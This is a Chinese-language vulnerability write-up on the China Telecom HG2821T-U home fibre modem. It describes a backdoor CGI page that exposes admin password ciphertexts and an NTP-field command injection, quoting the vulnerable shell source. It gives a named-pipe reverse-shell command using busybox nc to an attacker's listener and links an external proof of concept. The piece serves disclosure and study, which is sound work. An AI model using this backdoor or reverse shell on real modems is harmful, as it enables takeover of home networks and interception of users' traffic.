Home > sec > 电信家庭光猫HG2821T-U通用命令执行漏洞

电信家庭光猫HG2821T-U通用命令执行漏洞

PoC代码利用:https://github.com/C4o/HG2821T-U_PoC

 

下面是详细分析

1.设备硬软件所属厂商及型号

硬件:电信光猫HG2821T-U

软件:天翼智能网关

2.设备使用范围

该设备是2018年江苏安装电信宽带时附带的光猫。通过源代码审计发现该设备可能存在于如下33个省市 ,代码如下:

3.源代码语言

Linux Shell

4.漏洞发现过程

1)默认后门获取光猫管理端密码(网络上有网站已公开,但是没有该问题同样会通过源代码发现2号漏洞)

代码详情如下:

在baseinfoSet.cgi中发现直接打印了telecomaccount/telecompassword和useraccount/userpassword的等变量,

通过审计该段源代码,发现电信光猫存在后门,可以看到用户管理系统和8080端口上系统的密码密文,后门路径为http://ip:8080/cgi-bin/baseinfoSet.cgi,如图:

密码根据网上公开的解密方式可以进行解密。

2)光猫管理后台一处任意命令执行

代码详情如下:

接受客户端设置的ntp服务器地址:

if [ “$val” != “” ]; then

case $par

in

“ntp_enabled”)

NTPEN=$val

;;

“ntpServer1”)

NTPSERVER1=$val

;;

“ntpServer2”)

NTPSERVER2=$val

;;

“ntpServer3”)

NTPSERVER3=$val

;;

“ntpServer4”)

NTPSERVER4=$val

;;

“ntpServer5”)

NTPSERVER5=$val

;;

“ntpservertype”)

NTPSERVERTYPE=$val

;;

“ntpinterval”)

NTPINTERVAL=$val

;;

esac

fi

选择NTPSERVER1参数跟踪:

if [ “$is_submit” == “1” ]; then

if [ “$NTPEN” == “1” ]; then

RETURN_STR=`$INTER_WEB set $IGD_T_NTPServer1 “$NTPSERVER1” \

$IGD_T_NTPServer2 “$NTPSERVER2” \

$IGD_T_NTPServer3 “$NTPSERVER3” \

$IGD_T_NTPServer4 “$NTPSERVER4” \

$IGD_T_NTPServer5 “$NTPSERVER5” \

$IGD_T_X_CT_COM_NTPServerType $NTPSERVERTYPE \

$IGD_T_X_CT_COM_NTPInterval $NTPINTERVAL`

RETURN_STR=`$INTER_WEB set $IGD_T_Enable $NTPEN`

else

RETURN_STR=`$INTER_WEB set $IGD_T_Enable $NTPEN`

fi

fi

 

在获取提交请求后,把NTPSERVER1当做参数通过$inter_web执行某个命令,跟踪inter_web,发现是某个可执行文件,但是发现IPADDRESS参数是通过该文件获取,推测inter_web会去执行某个命令测试ntpserver1的存活性或是其他

接下来根据审计猜想进行测试,漏洞出现在8080端口上的管理端,在设定时间同步服务器处存在远程代码执行,由于光猫并未自带bash,所以使用sh创建一个通信管道,用反引号包裹,再进行反弹,由于光猫内置的是阉割版的linux,所以猜测会有busybox,测试发现busybox带有nc:

/# mknod /tmp/backpipe p

/# /bin/sh 0</tmp/backpipe | busybox nc 192.168.1.2 8888 1>/tmp/backpipe

并使用nc进行反弹的shell的接收,测试发现光猫上使用的是busybox:

同样的方式反弹到临时新建的vultr云主机上:

既然可以获取root shell,那么网络劫持,监听用户流量自然都可以做到。

 

5.利用限制条件

连接到光猫或其子网上,访问光猫内网地址(默认192.168.1.1)的8080端口的web服务。

You may alo like...

发表评论

电子邮件地址不会被公开。 必填项已用*标注